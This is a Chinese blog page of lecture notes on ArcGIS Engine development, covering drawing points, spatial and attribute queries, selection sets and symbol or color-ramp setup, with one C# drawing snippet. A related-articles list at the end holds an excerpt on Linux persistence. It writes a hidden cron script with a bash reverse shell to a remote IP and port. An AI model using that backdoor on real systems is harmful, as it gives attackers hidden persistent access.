AE开发20210601之绘制集合要素、绘制点、空间查询、属性查询、图形查询、选择集内容、符号化

news2024/11/14 11:01:57

AE开发之绘制集合要素

  • 绘制点
    • 步骤
  • queryFilter
  • QueryDef
  • cursor
  • 查现有的SpatialRel可以有的空间关系有哪一些。
  • Map类,对应的是FeatureSelection属性,SelectionCount属性,
  • 空间查询
  • 属性查询
  • 图形查询
  • 选择集内容
  • 符号化
  • multiparrcolorRamp
  • LineSymbol
  • 下一周,专题图制作
  • 绘制

绘制点

绘制到图形容器,有一个透明层,绘制都是在透明层上绘制的
绘制的是macthinbol,绘制一个矩形框,其他颜色的矩形框,提供一个点符号设置,这样一个对话框

符号设置对话框还没有做完,这是一个点符号,还可以进行线符号绘制,绘制线,改变粗度 线形

线形是什么类型,是一个简单的线型还是一个复杂的呀

绘制一个多边形,一个纯色的多边形

填充色是一个颜色,边界是一个颜色,填充是一歌填充符号的形式,同样我们还可以改变一下,改成一个渐变色,效果好看。

选择图形要素,选择到的几何实体,在几何实体范围内,在多个图层上进行查询,在arcgis里面进行道路拖宽,花了道路,花了缓冲区,缓冲区和其他要素进行叠置分析,看看哪一些要素进行叠置

确定当前范围内,有哪一些要素,包括在我的范围内,有哪一些空间关系。面,相交,相接,重叠,我包含你,你包含我。用所选择到的空间要素,作为一个几何实体,判断我选择到的图像,去进行要素选择,在我这个范围内的要素图像进行。

步骤

第一步,在设计菜单加入需要的菜单选项。

第二步,双击【绘制点】的菜单,对 toolaction 属性进行设置,以便在激发mousedown事件后,进行绘制点的操作。

第三步,在mousedown当中进行操作。代码如下:

 case "Draw Point":
                    IPoint pPointMark = new ESRI.ArcGIS.Geometry.Point();

                    pPointMark.PutCoords(e.mapX, e.mapY);//注意是地图坐标。
                    IGeometry pPointGeo = pPointMark as IGeometry;
                    IElement pMElement = new MarkerElement();
                    pMElement.Geometry = pPointGeo;
                    IMarkerElement pMarkElement = pMElement as IMarkerElement;
                    if(pSelectedMarkSymbol != null)
                    {
                        pMarkElement.Symbol =(IMarkerSymbol) pSelectedMarkSymbol;
                        //提示需要强制类型转换
                    }

                    IGraphicsContainer pGraphiscont = axMapControl1.ActiveView.GraphicsContainer;
                    pGraphiscont.AddElement(pMElement, 0);
                    IGraphicsContainerSelect pGS = pGraphiscont as IGraphicsContainerSelect;
                    pGS.UnselectAllElements();
                    pGS.SelectElement(pMElement);//注意不要拼写错误,注意SelectElement和selectelements的区别

                    toolAction = "";
                    axMapControl1.ActiveView.PartialRefresh(esriViewDrawPhase.esriViewGraphics, null, null);

                    return;

queryFilter

QueryDef

cursor

返回一个游标,相当于一个表,存放返回的结果
如果是一个纯表,没有空间字段,如果说一个字段存放空间数据的,可以获得空间数据位置

Featurelayer必须要有一个数据源,数据源用featureclass去指定,一个featureclass可以被多个layer引用

打开arcMap
在一个地图文档里面,地图和图层,图层和featureclass
一个地图文档里面可以不可以包含多个地图,一个地图文档相当于一个地图框架,一个地图框架里面相当于一个地图,可以再往里面加入数据集,每加载一个数据集。

添加一个新的数据框架,取名叫map2

有没有图层啊

地图文档处于激活状态是map2

可以在多个地图之前,来回切换,每一个都变成一个激活状态的地图

我们在讲,什么时候程序打开主窗口,什么时候鹰眼窗口进行出现,在主窗口Mapreplace时候,地图进行了替换,就会激发此事件,这个地图是哪一个地图呢,是把整个地图文档加载进来了,还是整个地图啊

显示的是谁啊,哪一个处于激活状态?load到激活状态,加载到这个地图文档当中。

axmapcontrol中的.Map就是激活状态的地图,几个图层啊,加载只加载一层,一个数据加载到一个地图里面,就变成了一个featurelayer,一个featurelayer是一个数据源嘛,这一个数据源是什么数据源啊,不同颜色不同线型进行渲染,所起到了什么作用呢?所有的feature对指定的颜色进行表达,同时地图有多个层,每一个图层要有一个数据源,引用不到数据源则无地图可以显示,会显示有小的红色叹号,这就表明找不到数据源。

解释cursor类。
考试内容:名词解释

层里面是一个选择集,featureclass和featurelayer都有设置方法,调用featureclass的设置方法,属性查询的这个过程。

spatialFilter类去派生出来的,产生了一个接口,ISpatialFilter接口,有怎么使用空间关系,怎么去使用呢?

首先定义spatialFilter,再去指定哪一个对象,Geometry属性,然后我再去设置空间查询的图形条件,当然我们还有SpatiaRel属性

还有其他要素?

在这里插入图片描述

查现有的SpatialRel可以有的空间关系有哪一些。

选择一个要素,进行空间查询,图形查询,怎么查,查询条件有哪一些呢?设置完之后就要开始进行查询了,调用SelectByShape,实际上我们上节课也用了,背后也是在设置那个SpatialFilter

选择集相关的,Map,MapSelection,SelectionSet,FeatureLayer,相关接口:IMAP

Map类,对应的是FeatureSelection属性,SelectionCount属性,

MapSelection保存所保存的要素选择集,

IEnumFeature接口,遍历和重置所选择要素,SelectionSet类选择集,SeletionSet单一的这个类相关的。在这里插入图片描述
在上次“唯一值”的时候,new 一个datastatistics,指定他统计的CurSor,赋值后,进行统计,可以获取唯一值,可以获取最大值最小值,离差等等,我们可以通过这个类进行获取,可以对数值型字段进行获取,点击那个唯一值进行获取,可以获得最大值最小值利差等等。

对应的是BaseStatistics对应的是,

需要掌握的类和查询的类,考试:文本,定义,相关关系

空间查询

属性查询

图形查询

选择集内容

符号化

画鹰眼窗口矩形框的时候,进行符号化了,什么样的颜色,什么样的标注,

颜色模型
在这里插入图片描述
在这里插入图片描述
可以用一下代码,直接用,减少工作量,做出控制
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
常用的是起止渐变色,两个接口,一个是IColorRamp,和,IAIgorithmicColorRamp。

什么样的方法去进行色带创建呢?

在这里插入图片描述
在这里插入图片描述
对他们分别赋值,好多生成的方法,是按什么方法去生成的呢?

在这里插入图片描述

multiparrcolorRamp

用SHV颜色模型,设置后,在这个范围内,随机设置颜色。

五类符号,MarkSymbol,LineSymbol,FillSymbol来绘制

几个父类几个子类,SimpleMarkSymbol,ArrowMarkerSymbol,CharacterMarkerSymbol,PictureMarkSymbol,MultiLayerMarkerSymbol。

单独用符号库,做相关行业的符号库,制图直接加载进去这个库,怎么实现的呢?多种不同类型MarkerSymbol去实现,Style属性,圆形,矩形,十字形,X型,菱形。

所有点图像,用统一符号进行设置,符号进行渲染。

生成一个新的矢量层,获取第零层,保证这个是个点层,才可以用MarkerSymbol

用一个符号去设置,简单渲染选择的符号是什么符号,用这个符号进行渲染和刷新。

简单渲染赋值Symbol,进行地图的刷新。

LineSymbol

简单的线符号,

在这里插入图片描述
线符号可以做的非常复杂,
在这里插入图片描述
填充符号:FillSymbol
是颜色和轮廓选去填充,边界用鹰眼窗口里面的小矩形框,一个是LineFillSymbol,MarkerFillSymbol

LineFillSymbol线的倾斜角,简单线符号,偏移量等等,外边界,

toolaction的设置

如果一些符号没有设置,则用默认的

两个处于选择集里面的,一个是graphiccontainer的选择集一个是地图的选择集
找到容器,获取容器的选择集,选择两个要素,Enumelement,一次next,做循环,假设选择的是一个面,选择线怎么办呀,else if 选的是一个点怎么办呀,当前选择的是面要素,获取当前的地图,生成一个空间查询过滤条件,有一个Geometry对象,把刚才那个element给它。

相交的过滤条件,在所有层里面查,所有层依次作循环,判断第i个层是否为矢量层,获取矢量层的选择集,再去用这个矢量层的设置方法,设置空间过滤条件,在我这个层里面,

把所有矢量层都遍历一遍,满足我的查询结果了,再把查询的这些feature,添加到这些选择集当中,把所有图层的查询后,满足条件则高亮显示

下一周,专题图制作

绘制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

a标签 链接 target=”_blank” 为什么要增加 rel=”noopener noreferrer”

在<a></a>中使用target"_blank" 那么会得到以下错误提示&#xff1a; Using target"_blank" without rel"noopener noreferrer" is a security risk: see https://mathiasbynens.github.io/rel-noopener [react/jsx-no-target-blank…

Golang流媒体实战之七:hls拉流服务源码阅读

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 本篇概览 本文是《Golang流媒体实战》系列的第七篇&#xff0c;继续学习一个重要且通用的知识点&#xff1a;hls拉流在《体验开源项目lal》一文中&#xff0…

两种方法实现杨辉三角(java实现)

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点!人生格言&#xff1a;当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔&#x1f9be;&am…

AI 作图绘画的软件和网址

软件分享 分享软件一&#xff1a;NovelAI NovelAI是一个用于ai写文章的工具&#xff0c;大家可以给它文章标题框架&#xff0c;让它生成文章。后来这款工具进行功能拓展&#xff0c;完成了ai绘画功能&#xff0c;它支持我们上传草图生成图片&#xff0c;也支持我们通过画面描…

计算机网络思维导图,快快收藏学习啦!

第一章&#xff08;概述&#xff09; P0 - 计算机网络<思维导图> 第二章&#xff08;物理层&#xff09; P1 - 计算机网络<思维导图> 便签中的内容&#xff1a; ①香农公式&#xff1a;CW*Log2(1S/N) (bit/s) C:极限传输速率 W:信道带宽(单位Hz) S:信道内所传…

graylog实现日志监控

graylog graylog是一个轻量级的日志管理工具,依托elasticsearch作为日志存储中间件,MongoDB作为元数据信息存储中间件.自带WEB-UI界面,LDAP整合各种日志类型.提供了日志收集、日志查询、监控告警等相关功能。提供了graylog sidecar通过sidecar模式可以很方便的收集目标主机、容…

UEFI Protocol

一、概述 二、Protocol的定义 1、Protocol是服务器端和客户端之间的一种约定&#xff0c;在软件编程上称为接口&#xff0c;服务器端和客户端通过这个约定信息的互通。 2、服务器端和客户端在UEFI中都是可执行的二进制文件。 3、为了实现这些二进制文件之间的互通&#xff0c;…

nginx反向代理_负载均衡的配置

说明 两台虚拟机&#xff1a; 88节点是自己的虚拟机 66节点是小组成员的虚拟机&#xff0c;我们暂且叫同学机 tomcat端口&#xff0c;分别为8081和8082 总结就是&#xff1a; 自己虚拟机上面安装nginx和tomcat8082 同学机上安装tomcat8081 一、开始安装nginx&#xff08;只安装…

香港布局Web3.0 既是金融试探,也是未来战略

香港Web3.0协会成立的消息已在业内刷屏&#xff0c;作为跨业界的非盈利机构&#xff0c;该协会致力于促进Web3.0生态环境的建设&#xff0c;港府特首李家超和北京中央驻港联络办公室部分领导均出席了成立典礼。 李家超在致辞中表示&#xff0c;Web3.0的发展正值黄金起点&#x…

Vue随记

1、Vue模板语法 Vue模板语法有两大类&#xff1a; 1.1、插值语法 功能&#xff1a;用于解析标签体内容。 写法&#xff1a;{{xxxx}}&#xff0c;xxxx是js表达式&#xff0c;且可以直接读取到data中的所有属性。 1.2、指令语法 功能&#xff1a;用于解析标签&#xff08;包…

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习&#xff0c;如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出&#xff1a;将cat的文件输出到屏幕上 标准错误输出&#xff1a;无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上&#xff0c;看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…